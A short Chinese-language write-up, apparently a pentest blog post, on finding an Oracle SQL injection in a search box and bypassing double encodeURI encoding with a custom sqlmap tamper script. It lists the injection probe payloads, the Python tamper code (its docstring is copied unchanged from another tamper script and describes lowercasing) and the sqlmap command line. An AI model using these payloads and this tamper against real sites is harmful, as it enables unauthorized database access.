遇到 一个搜索框

通过输入以下 内容：
123                                    返回正常
123%' and '%'='               返回正常
123%' and '%'=' a           返回 为空
123%‘--                            返回正常
123%' and (select 113 from dual)=123--  返回正常

初步判定 为 oracle的 搜索型注入

0x01 遇到问题
按照一般的做法截包然后提交给 sqlmap，但是奇怪的sqlmap竟然无法识别出注入点 

截包看了下手工注入的数据包，发现%变成了%2525  
因此考虑到url编码了

然后查看源码

&classcode="+classcode+"&keyName="+encodeURI(encodeURI(keyName)));
果然是encodeURI编码，并且是两次

0x02 解决问题

查看了下sqlmap自带的tamper，好像还没有针对这种的编码
于是 找了个最简单的 tamper做模板，简单修改了下代码，代码如下

#!/usr/bin/env python

"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

import re
from urllib import quote
from lib.core.data import kb
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces each keyword character with lower case value

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass very weak and bespoke web application firewalls
          that has poorly written permissive regular expressions
        * This tamper script should work against all (?) databases

    >>> tamper('INSERT')
    'insert'
    """

    retVal = payload
    retVal = quote(quote(retVal))

        
    return retVal
然后sqlmap加载改 tamper
sqlmap.py -r c:\tmp\1.txt -p keyName --random-agent --tamper urlencode2

sqlmap成功确认为 oracle注入